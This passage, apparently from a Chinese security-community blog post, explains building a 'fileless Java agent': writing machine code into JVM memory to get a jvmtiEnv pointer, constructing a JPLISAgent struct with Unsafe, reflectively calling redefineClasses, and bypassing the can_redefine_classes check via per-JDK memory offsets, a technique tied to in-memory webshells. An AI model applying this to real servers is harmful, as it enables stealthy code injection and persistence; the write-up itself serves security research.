        mov 0x10(%rsp), %rdi

        #调用GetEnv(),在C中调用的原型是:
        #vm->functions->GetEnv(....);
        #需要先取出JavaVM*,得到JNIInvokeInterface_*,最后根据偏移得到GetEnv()指针
        #1. 取出JavaVM*
        mov 0x10(%rsp), %r8
        #2. 取出JNIInvokeInterface_*
        mov (%r8), %r9
        #3. 根据偏移6*8,得到GetEnv()指针
        mov 0x30(%r9), %r8
        call %r8

        #jvmtiEnv指针在rsp指向的空间,将之传递给rax,作为函数返回值
        mov (%rsp), %rax

        #平栈
        #1个push, 0x8 byte
        #sub 0x18 byte
        #总计: 0x20 byte
        add $0x20,%rsp
        pop %rbp
        ret

整合机器码

为了得到前文汇编生成的机器码,需要进行gcc的编译。编译方式可参考前文"C和汇编混编"一节。生成可执行文件后,可采用objdump得到机器码,整理之后用Java字节数组存放。特别注意:调用JNI_GetCreatedJavaVMs()的函数地址,需要单独扣出来替换成真实的函数地址。
13.png

Java代码如下:

byte[] codeInsert1 = new byte[]{
    ..... //一直到机器码的0x48, 0xb8
};
byte[] codeInsert3 = new byte[]{
    .... //从0xff,0xd0 (call rax)一直到0xc3(ret)
};
//中间扣出来的8 byte地址
//将Long类型的函数地址转成bytep[]类型
byte[] codeInsert2 = new byte[8];
String hexString = Long.toHexString(jni_getCreatedJavaVMsAddress);
int codeInsert2Offset = 0;
for (int i = hexString.length(); i >= 2; i-=2) {
    String substring = hexString.substring(i - 2, i);
    Integer decode = Integer.decode("0x" + substring);
    byte aByte = decode.byteValue();
    codeInsert2[codeInsert2Offset++] = aByte;
}
//统合最终的byte[] 机器码
codeOverwrite = new byte[codeInsert1.length + codeInsert2.length + codeInsert3.length];
System.arraycopy(codeInsert1, 0, codeOverwrite, 0, codeInsert1.length);
System.arraycopy(codeInsert2, 0, codeOverwrite, codeInsert1.length, codeInsert2.length);
System.arraycopy(codeInsert3, 0, codeOverwrite, codeInsert1.length+codeInsert2.length, codeInsert3.length);

调试验证

现在,我们有函数地址,有获取jvmtiEnv*的机器码。接下来就是实际写入内存,查看效果了。具体代码太长这里不列出来,可移步至文末github地址获取。这里就简单说说如何调试及验证。

在IDEA里调试代码,经过获取地址 -> 写入机器码后,调用被修改过的FileInputStream#skip(),断点停住:
14.png

为了能看到汇编层的指令,需要使用ide进行attach。若没有ide,Linux下也可以使用edb来对程序进行attach(不会用gdb)。这里我就用edb进行调试。

运行edb,在"File -> Attach"中搜索java,找到运行中的Java进程,选择进程号最大的那一个。

选择后,需要在汇编层找到函数位置。可以右键"Goto Expression",输入IDEA输出的函数地址,使视图跳转到Java_java_io_FileInputStream_skip0()函数中,打下断点,并点击左上方的"Run"按钮,使edb attach住进程:
15.png

随后在IDEA中步过,此时程序就会在edb中停住,便可以在edb中继续单步调试了。

调用完函数之后,可以看到rax中已经被写入了jvmtiEnv*的地址
16.png

Java层也能顺利拿到返回值
17.png

0x08 构造JPLISAgent结构体

前文铺垫了这么多,又是解析函数地址又是改内存的,现在终于得到了jvmtiEnv*,可以着手构造JPLISAgent结构体了。

再复习下其结构

JPLISAgent.h

struct _JPLISEnvironment {
    jvmtiEnv *              mJVMTIEnv;              /* the JVM TI environment */
    JPLISAgent *            mAgent;                 /* corresponding agent */
    jboolean                mIsRetransformer;       /* indicates if special environment */
};
typedef struct _JPLISEnvironment  JPLISEnvironment;

struct _JPLISAgent {
    JavaVM *                mJVM;                   /* JVM指针,但RedefineClasses()没有用到,可以忽略,全填充0即可 */
    JPLISEnvironment        mNormalEnvironment;     /* _JPLISEnvironment结构体 */
    ..... //无关紧要的成员
};
typedef struct _JPLISAgent        JPLISAgent;

一个struct _JPLISAgent中至少需要25 byte的空间,前8 byte可填充为0。后17 bytestruct _JPLISEnvironment的空间。其中mIsRetransformer暂时没看到有什么用处,暂且设置一个1吧。

在Java中,可以使用Unsafe来开辟堆内存。对于本文的需求,代码如下:

Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafe.get(null);

long JPLISAgent = unsafe.allocateMemory(25L);
//JavaVM*
unsafe.putLong(JPLISAgent, 0L);

//_JPLISEnvironment
unsafe.putLong(JPLISAgent+8L, jvmtiEnv);
unsafe.putLong(JPLISAgent+16L, JPLISAgent);
unsafe.putByte(JPLISAgent+24L, (byte)0x1);

0x09 无文件Java agent

有了struct _JPLISAgent,接下来可以尝试直接调用redefineClasses()了。首先构建一个恶意类,并拿到其字节码

Demo.class

package com;

public class Demo {
    public void print(){
        System.out.println("[+] Inject Success!");
    }
}

直接调用redefineClasses(),并对比前后Demo#print()的输出

.....
/*
 * Test no file Java Agent
 * */
Demo demo = new Demo();
//
demo.print();

byte[] evilClassClassBytes = .../* 恶意类字节码 */;

/*
 * 调用 InstrumentationImpl.redefineClasses()
 * */
Class instrumentationImplClass = Class.forName("sun.instrument.InstrumentationImpl");
Constructor instrumentationImplConstructor = instrumentationImplClass.getDeclaredConstructor(long.class, boolean.class, boolean.class);
instrumentationImplConstructor.setAccessible(true);
Object instrumentationImpl = instrumentationImplConstructor.newInstance(JPLISAgent, true, false);

ClassDefinition[] classDefinitions = new ClassDefinition[1];
classDefinitions[0] = new ClassDefinition(com.Demo.class, evilClassClassBytes);

Method redefineClassesMethod = instrumentationImplClass.getDeclaredMethod("redefineClasses", ClassDefinition[].class);
redefineClassesMethod.setAccessible(true);
redefineClassesMethod.invoke(instrumentationImpl, new Object[]{classDefinitions});

//
demo.print();
.....

可是运行时程序却报错了,报错信息里也没说原因。但根据报错信息可以推测,程序是在redefineClasses()的native函数里头出错了。很有可能是哪一步出现了if判断。我们需要协同CLion一起调试寻找原因。

经过调试,会发现程序在这一行判断中没有通过。这一行判断其实也就是本文""常规Java agent"中,MANIFEST.MF中的Can-Redefine-Classes

jvmtiEnter.cpp

.....
    if (jvmti_env->get_capabilities()->can_redefine_classes == 0) {
        return JVMTI_ERROR_MUST_POSSESS_CAPABILITY;
    }

can_redfineClass绕过

很显然,如果要通过这个判断,还需要对内存进行额外的修改。can_redefine_classes的值在内存中实际上就是一个偏移。看C源码并不能很直观的看出来偏移是多少,但是如果看汇编或者反编译的代码,就能很直观的看出来了。

使用IDA进行attach动调,步骤如下:

1)先将IDA的linux_server64拷贝到Linux中,并运行。

2)IDEA中运行代码,让断点卡在反射调用redefineClasses()

3)IDA中 "Debugger -> Attach -> Remote Linux Debugger"。Hostname填写Linux的ip。进程选择最后一个pid的java进程

4)Attach之后,在Modules窗口中找到libjvm.so,并找到里头的jvmti_RedefineClasses函数
18.png

19.png

5)在函数调用上打下断点,并点击IDA上方的绿色箭头,开始Attach调试

20.png

6)IDEA中放行代码,让程序卡在IDA的断点上

可以动调后,我们需要先找到jvmti_env是怎么被赋值的,源码中是根据第一个形参,调用JvmtiEnv::JvmtiEnv_from_jvmti_env获得

jvmtiEnter.cpp

static jvmtiError JNICALL
jvmti_RedefineClasses(jvmtiEnv* env,
            jint class_count,
            const jvmtiClassDefinition* class_definitions) {
    ....
    JvmtiEnv* jvmti_env = JvmtiEnv::JvmtiEnv_from_jvmti_env(env);
    .....
    if (jvmti_env->get_capabilities()->can_redefine_classes == 0) {
        return JVMTI_ERROR_MUST_POSSESS_CAPABILITY;
      }
}

根据函数形参找,很容易发现,在IDA的反编译中jvmti_env其实是v15

__int64 __fastcall jvmti_RedefineClasses(__int64 a1, int a2, __int64 a3)
{
    ....
    v15 = ((__int64 (__fastcall *)(__int64))ZN12JvmtiEnvBase23JvmtiEnv_from_jvmti_envEP9_jvmtiEnv)(a1);
}

IDA中高亮追踪v15,不难发现源码中的if (jvmti_env->get_capabilities()->can_redefine_classes == 0)其实是

else if ( (*(_BYTE *)(((__int64 (__fastcall *)(__int64))ZN12JvmtiEnvBase16get_capabilitiesEv)(v15) + 1) & 2) != 0 )

点进ZN12JvmtiEnvBase16get_capabilitiesEv()函数,函数内容是:

__int64 __fastcall ZN12JvmtiEnvBase16get_capabilitiesEv(__int64 a1)
{
  return a1 + 408;
}

再将v15的地址和IDEA中输出的jvmtiEnv指针地址比较,发现v15 = jvmtiEnv - 8

综上所述,通过jvmtiEnv*指针找到can_redefine_classes地址运算方式是:jvmtiEnv - 8 + 408 + 1。我们需要设置这块地址的值为2,即可绕过can_redefine_classes的判断。

最终成果

在调用redefineClasses()前,手动设置jvmtiEnv - 8 + 408 + 1的空间值为2

unsafe.putByte(jvmtiEnv - 8 + 408 + 1, (byte)0x2);

添加好后再次运行Demo,可以发现成功修改了类

21.png

不同版本的适用性

简单研究了下发现,不同版本的JDK,对应的can_redefine_classes偏移位置不一样。而且release版和debug版的偏移似乎也不一样(也有可能是openjdk和oraclejdk的偏移不一样)。搜集不同版本jvmtiEnv*指针到can_redefine_classes的偏移量就是人工苦力活了,下面列出几个:

jdk11.0.13, jdk12.0.2 377
jdk1.8.202, jdk10.0.2 361

最后还需要注意,如果想同一个字节码能在多个JDk版本中顺利redefineClasses的话,编译字节码那个JDK版本要选低版本的。

0x0a 参考

demo的github地址

Java内存攻击技术漫谈

Linux下内存马进阶植入技术

Java 动态调试技术原理及实践

评论

从0到1 2022-04-07 16:32:31

膜拜rebeyond
膜拜游望之
膜拜Xiaopan233

Xiaopan233

这个人很懒,没有留下任何介绍

随机分类

事件分析 文章:223 篇
木马与病毒 文章:125 篇
软件安全 文章:17 篇
Exploit 文章:40 篇
Ruby安全 文章:2 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Yukong

🐮皮

H

HHHeey

好的,谢谢师傅的解答

Article_kelp

a类中的变量secret_class_var = "secret"是在merge

H

HHHeey

secret_var = 1 def test(): pass

H

hgsmonkey

tql!!!

目录